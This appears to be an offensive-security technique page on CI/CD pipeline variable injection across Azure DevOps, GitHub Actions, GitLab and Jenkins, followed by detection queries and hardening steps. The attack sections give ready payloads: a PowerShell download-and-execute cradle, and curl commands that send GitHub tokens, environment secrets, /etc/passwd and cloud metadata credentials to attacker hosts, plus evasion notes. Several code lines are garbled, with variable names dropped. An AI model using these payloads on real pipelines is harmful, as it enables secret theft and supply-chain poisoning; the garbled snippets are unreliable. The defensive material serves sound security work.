| Attribute | Details |
|---|---|
| Technique ID | SUPPLY-CHAIN-005 |
| MITRE ATT&CK v18.1 | T1195.001 - Compromise Software Dependencies and Development Tools |
| Tactic | Supply Chain Compromise |
| Platforms | Entra ID/DevOps |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure DevOps 2019+, GitHub Actions, GitLab CI/CD 13.0+, Jenkins 2.150+ |
| Patched In | Requires input validation implementation (no OS patch) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Pipeline variable injection exploits the interpolation of user-controlled variables into build scripts without proper sanitization. When CI/CD systems substitute pipeline variables into commands (e.g., MSBuild parameters, shell scripts, deployment arguments), attackers can inject arbitrary shell metacharacters (&, |, ;, $()) to break out of the intended command context and execute malicious code with the pipeline agent’s privileges. This attack leverages the fact that variables are strings and cannot be escaped by the system; the responsibility falls on the developer to quote or validate inputs.
Attack Surface: Azure DevOps YAML pipelines, GitHub Actions workflows, GitLab CI/CD .gitlab-ci.yml, Jenkins declarative pipelines, any CI/CD platform that interpolates variables into scripts.
Business Impact: Complete pipeline compromise leading to supply chain poisoning. An attacker with commit access or pull request approval rights can inject malicious build steps, exfiltrate secrets (service principal credentials, API tokens), modify build artifacts, or inject backdoors into production releases. The compromised pipeline then distributes poisoned software to all downstream consumers.
Technical Context: Variable injection typically occurs within 5-60 seconds of pipeline execution. Detection requires analyzing pipeline logs and variable substitution patterns. The attack leaves traces in build artifacts and pipeline execution records unless logs are deliberately cleaned.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | v8.0 3.9 | Ensure that public access is not enabled for repositories |
| DISA STIG | GD000360 | Build and release pipelines must validate all external inputs |
| CISA SCuBA | CM-5 | Implement access controls for pipeline modifications |
| NIST 800-53 | SI-7 | Software, firmware, and information integrity checks |
| GDPR | Art. 32 | Security of processing; integrity and confidentiality of software |
| DORA | Art. 9 | Operational resilience and supply chain protection |
| NIS2 | Art. 21 | Risk management and supply chain security measures |
| ISO 27001 | A.8.3.3 | Segregation of development, test, and production environments |
| ISO 27005 | Risk Scenario | Compromise of build pipelines and artifact distribution |
# Check for YAML pipeline definitions in repository
Get-Content -Path "azure-pipelines.yml" | Select-String -Pattern "variables:|script:|task:"
# List all pipeline variables accessible to current user
az pipelines variable list --organization "https://dev.azure.com/[org]" --project "[project]"
# Check if there are protected/secret variables
az pipelines variable list --query "[?isSecret==true]"
What to Look For:
$(variableName) patterns in script sections# Extract environment variables from workflow
grep -r "env:" .github/workflows/ | grep -E '\$\{.*\}|\$\(.*\)'
# List all available context variables
cat .github/workflows/build.yml | grep -E "github\.|runner\.|steps\.|secrets\."
# Check for variable interpolation in CI/CD config
grep -n "script:" .gitlab-ci.yml | head -20
# Test variable expansion locally
gitlab-runner exec docker test_job
Supported Versions: Azure DevOps 2019+
Objective: Locate variables that are interpolated into scripts without proper quoting.
Command:
# Example vulnerable pipeline (azure-pipelines.yml)
trigger:
- main
pool:
vmImage: 'windows-latest'
variables:
configuration: Release
platform: x64
steps:
- task: MSBuild@1
inputs:
solution: '**/*.sln'
configuration: '$(configuration)' # Vulnerable - no quotes
platform: '$(platform)' # Vulnerable - no quotes
Expected Vulnerable Pattern:
- script: msbuild $(solution) /p:Configuration=$(configuration)
What This Means:
$(configuration) and $(platform) are interpolated as stringsObjective: Create a payload that breaks out of the intended command context.
Malicious Payload:
Debug" & powershell -Command "iex (New-Object System.Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" & ::
Payload Breakdown:
Debug" – Close the original string& – Chain commands in PowerShell/CMDpowershell -Command "..." – Execute attacker’s script& :: – Comment out remainder of original command (:: is a label in batch/PowerShell)Objective: Deliver the malicious payload through a variable that the pipeline will interpolate.
Example: Commit Message Injection (if Build.SourceVersionMessage is used)
git commit -m 'Debug" & powershell -NoProfile -Command "whoami > C:\temp\output.txt" & ::'
git push origin feature-branch
Example: Queue-Time Parameter Injection (if pipeline accepts user input)
In Azure DevOps UI:
configurationDebug" & powershell -Command "Write-Host Compromised" & ::Objective: Verify that the injected command was executed.
Check Pipeline Logs:
az pipelines build log --build-id [BUILD_ID] --organization "https://dev.azure.com/[org]" --project "[project]"
Expected Output (if injection successful):
Compromised
C:\temp\output.txt created with attacker's data
OpSec & Evasion:
Detection Likelihood: Medium – Pipeline logs will show the injected commands unless sanitized.
Troubleshooting:
Syntax error in script
Command not found
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeReferences & Proofs:
Supported Versions: All GitHub Actions versions
Objective: Find workflows that directly interpolate variables into shell scripts.
Vulnerable Workflow Example:
name: Build
on: [push, pull_request]
env:
BUILD_CONFIGURATION: Release
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Build
run: |
./build.sh $
# Vulnerable: env variable directly interpolated without quoting
Objective: Modify a file that triggers variable interpolation.
Malicious Commit:
# Modify build configuration parameter
git commit -m "Update build: Release; curl http://attacker.com/exfil?token=$(echo $GITHUB_TOKEN | base64)"
Or modify a GitHub Actions input:
# In a pull request, modify workflow trigger parameters
# If the workflow reads from github.event.pull_request.body, inject:
This PR fixes #123
build_config: Release
; curl http://attacker.com/steal?token=$(base64 < $GITHUB_WORKSPACE/.env)
Objective: Extract service account tokens or other secrets.
Payload:
run: |
echo "==== GitHub Token ====" >> /tmp/creds.txt
echo $ >> /tmp/creds.txt
echo "==== Deployment Keys ====" >> /tmp/creds.txt
env | grep -E "DEPLOY|TOKEN|KEY" >> /tmp/creds.txt
# Exfiltrate
curl -X POST -d @/tmp/creds.txt http://attacker.com/webhook
OpSec & Evasion:
References & Proofs:
Supported Versions: GitLab CI/CD 13.0+
.gitlab-ci.yml for Vulnerable PatternsObjective: Find script sections that use unquoted variable expansion.
Vulnerable Configuration:
variables:
ENV_NAME: staging
DEPLOY_URL: https://deploy.example.com
deploy_job:
script:
- echo "Deploying to $ENV_NAME"
- curl $DEPLOY_URL/deploy?env=$ENV_NAME # Vulnerable
Objective: Use GitLab’s variable override mechanism to inject commands.
In GitLab UI:
DEPLOY_URLhttps://deploy.example.com/deploy?env=$(whoami)Or via GitLab API:
curl --request POST "https://gitlab.com/api/v4/projects/[project_id]/pipeline" \
--header "PRIVATE-TOKEN: [token]" \
--form "ref=main" \
--form "variables[DEPLOY_URL]=https://deploy.example.com/deploy?env=$(cat /etc/passwd | base64)"
Objective: Extract CI/CD secrets (database credentials, API keys).
Payload:
script:
- export LEAKED=$(env | grep -E "DB_PASS|API_KEY|AWS" | base64)
- curl -X POST -d "{\"data\": \"$LEAKED\"}" http://attacker-webhook.com/collect
References & Proofs:
Supported Versions: Jenkins 2.150+ with Pipeline plugin
Objective: Find Jenkinsfiles that accept parameters without validation.
Vulnerable Jenkinsfile:
pipeline {
agent any
parameters {
string(name: 'BUILD_ENV', defaultValue: 'debug', description: 'Build environment')
}
stages {
stage('Build') {
steps {
sh "gradle build -PbuildEnv=${params.BUILD_ENV}" // Vulnerable
}
}
}
}
Objective: Inject shell metacharacters via Jenkins API.
Using Jenkins CLI:
java -jar jenkins-cli.jar \
-s http://jenkins.example.com \
build MyPipeline \
-p "BUILD_ENV=debug; curl http://attacker.com/steal?jenkins=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/jenkins-role | base64); #"
Using Jenkins API:
curl -X POST http://jenkins.example.com/job/MyPipeline/buildWithParameters \
-d "BUILD_ENV=debug; whoami > /tmp/user.txt; cat /tmp/user.txt | curl -d @- http://attacker.com; #" \
--user "admin:$(cat ~/.jenkins-token)"
Objective: Access compiled artifacts or build logs containing secrets.
Extract from Jenkins:
# Download build artifacts
curl http://jenkins.example.com/job/MyPipeline/[BUILD_ID]/artifact/* \
-o /tmp/artifacts.zip
# View console output
curl http://jenkins.example.com/job/MyPipeline/[BUILD_ID]/consoleText > /tmp/build.log
References & Proofs:
Version: 0.25.0+ Installation:
pip install azure-devops
Usage:
# List all pipelines in project
az pipelines list --organization "https://dev.azure.com/[org]" --project "[project]"
# Queue a build with custom variables
az pipelines build queue \
--definition-id 1 \
--branch main \
--variables custom_var="Release" another_var="x64"
Version: 2.0+
# Trigger workflow dispatch with inputs
gh workflow run build.yml \
-f build_config="Release" \
-f deploy_target="http://attacker.com/inject?token=$"
Rule Configuration:
AzureDevOpsAuditingActivityName, Details, ActorDisplayNameKQL Query:
AzureDevOpsAuditing
| where ActivityName in ("Build.BuildQueuedEvent", "Git.PullRequestUpdatedEvent")
| where Details has_any ("&", "|", ";", "$(", "`")
| where Details has_any ("powershell", "cmd", "bash", "curl", "wget")
| project TimeGenerated, ActorDisplayName, ActivityName, Details, IpAddress
| order by TimeGenerated desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Azure DevOps Pipeline Variable Injection DetectionHigh5 minutes1 hour&, |, ;, $()) in variable substitution.yml / groovy configuration files with command injectionBuild.BuildQueuedEvent with suspicious variable valuesGit.PullRequestUpdatedEvent with command injection patternsIsolate:
Command:
# Disable the compromised pipeline
az pipelines update --id [PIPELINE_ID] --disabled true
# Revoke service principal credentials
az ad sp credential delete --id [SERVICE_PRINCIPAL_ID]
Manual (Azure DevOps UI):
Collect Evidence:
# Export pipeline execution logs
az pipelines build log --build-id [BUILD_ID] > /tmp/build_logs.txt
# Export audit logs
az devops audit log list --organization "https://dev.azure.com/[org]" \
> /tmp/audit_logs.json
# Export poisoned artifacts
curl -X GET \
-H "Authorization: Basic $(echo -n ':' $PAT | base64)" \
https://dev.azure.com/[org]/[project]/_apis/build/builds/[BUILD_ID]/artifacts \
> /tmp/artifacts_metadata.json
Remediate:
# Restore from clean backup
git reset --hard [CLEAN_COMMIT_HASH]
git push --force origin main
# Rebuild pipeline with validated code
az pipelines build queue --definition-id [PIPELINE_ID] --branch main
# Review and rotate all service principals used in pipelines
az ad sp list --filter "appDisplayName eq 'MyPipeline-ServicePrincipal'" \
| jq '.[] | .id' \
| xargs -I {} az ad sp credential delete --id {}
Input Validation and Quoting: Quote all variable interpolations in scripts. Use explicitly validated parameter sets instead of free-form string interpolation.
Manual Steps (Azure DevOps):
script: or task: stepsmsbuild $(configuration)msbuild "$(configuration)"For shell injection risks, use parameter objects instead of strings:
task: MSBuild@1
inputs:
configuration: '$(configuration)'
solution: '**/*.sln'
PowerShell Validation:
# Function to validate build variable format
function Invoke-SafeBuild {
param (
[ValidatePattern('^[a-zA-Z0-9_-]+$')]
[string]$Configuration,
[ValidateSet("x86", "x64")]
[string]$Platform
)
msbuild solution.sln /p:Configuration=$Configuration /p:Platform=$Platform
}
Invoke-SafeBuild -Configuration "$(configuration)" -Platform "$(platform)"
Restrict Pipeline Trigger Permissions: Limit who can queue builds or modify pipelines to trusted users only.
Manual Steps (Azure DevOps):
Contribute to pull requests and Queue builds from Contributors groupRelease Managers or AdministratorsPowerShell:
# Restrict pipeline queue permissions
$pipelineId = 1
$identity = "[Project]\Contributors"
# This requires Azure DevOps REST API
$url = "https://dev.azure.com/[org]/_apis/security/permissions?api-version=7.0"
# Detailed RBAC configuration requires Azure DevOps UI or REST API
Implement Pipeline Template Restrictions: Use Azure DevOps templates to enforce validated script execution patterns.
In Repository (template.yml):
parameters:
- name: buildConfig
type: string
values:
- Debug
- Release
- name: platform
type: string
values:
- x86
- x64
jobs:
- job: Build
steps:
- script: msbuild "solution.sln" "/p:Configuration=$" "/p:Platform=$"
displayName: 'Build Solution'
Then reference in main pipeline:
jobs:
- template: template.yml
parameters:
buildConfig: Release
platform: x64
Audit Logging: Enable comprehensive pipeline audit logging and monitor for suspicious activity.
Manual Steps (Azure DevOps):
PowerShell (Export Audit Logs):
$org = "myorg"
$pat = $env:AZURE_DEVOPS_PAT
$auditUrl = "https://dev.azure.com/$org/_apis/audit/auditlog?api-version=7.0"
$headers = @{Authorization = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$pat")))"}
$logs = Invoke-RestMethod -Uri $auditUrl -Headers $headers -Method Get
$logs.decoratedAuditLogEntries | Export-Csv -Path "audit_$(Get-Date -Format yyyyMMdd).csv"
Separate Build and Deployment Credentials: Use distinct service principals for build (read-only) and deployment (write) operations.
Manual Steps (Azure DevOps):
In pipeline YAML, specify which connection to use:
- task: UsePythonVersion@0
displayName: 'Use Python 3.9'
inputs:
versionSpec: '3.9'
condition: eq(variables['Build.SourceBranch'], 'refs/heads/main')
- task: AzureCLI@2
displayName: 'Deploy'
inputs:
azureSubscription: 'Deploy-ServiceConnection' # More privileged
scriptType: 'bash'
scriptLocation: 'scriptPath'
scriptPath: 'deploy.sh'
condition: eq(variables['Build.SourceBranch'], 'refs/heads/main')
Conditional Access / Pipeline Protection:
GitHub Actions Advanced Security:
Azure DevOps Pipeline Permissions:
Release Managers onlyRBAC / ABAC: Enforce least-privilege role assignments in service accounts.
Manual Steps (Azure DevOps):
Reader role onlyContributor on specific resources only (not subscription-wide)Owner and User Access Administrator rolesPolicy Config: Enforce policy-as-code to block dangerous patterns in pipeline YAML.
Using Azure Policy (Azure DevOps via Azure Policy):
{
"policyRule": {
"if": {
"allOf": [
{
"field": "type",
"equals": "Microsoft.DevOps/pipelines"
},
{
"field": "properties.yamlContent",
"contains": "powershell"
},
{
"field": "properties.yamlContent",
"contains": "curl"
}
]
},
"then": {
"effect": "audit"
}
}
}
# Check for proper quoting in pipelines
grep -r "script:" .github/workflows/ | grep -v '"$' | grep -v "'$"
# Should return: (empty result = secure)
# Check for unrestricted service principal roles
az ad sp list --filter "appDisplayName eq '[YourServicePrincipal]'" \
| jq '.[] | .id' \
| xargs -I {} az role assignment list --assignee {} \
| jq '.[] | select(.roleDefinitionName == "Owner" or .roleDefinitionName == "Contributor")'
# Should return: (no assignments at subscription scope)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker gains initial access via misconfigured proxy |
| 2 | Credential Access | [CA-TOKEN-015] DevOps Pipeline Credential Extraction | Attacker steals pipeline service principal credentials |
| 3 | Current Step | [SUPPLY-CHAIN-005] | Attacker injects malicious code into release pipeline |
| 4 | Supply Chain Impact | [SUPPLY-CHAIN-006] Deployment Agent Compromise | Compromised pipeline distributes poisoned artifacts |
| 5 | Impact | [IMPACT-RANSOM-001] Ransomware Deployment | Malicious artifacts deployed to production systems |
actions/checkout vs. action/checkout). Projects using these typosquatted actions had their CI/CD credentials exfiltrated.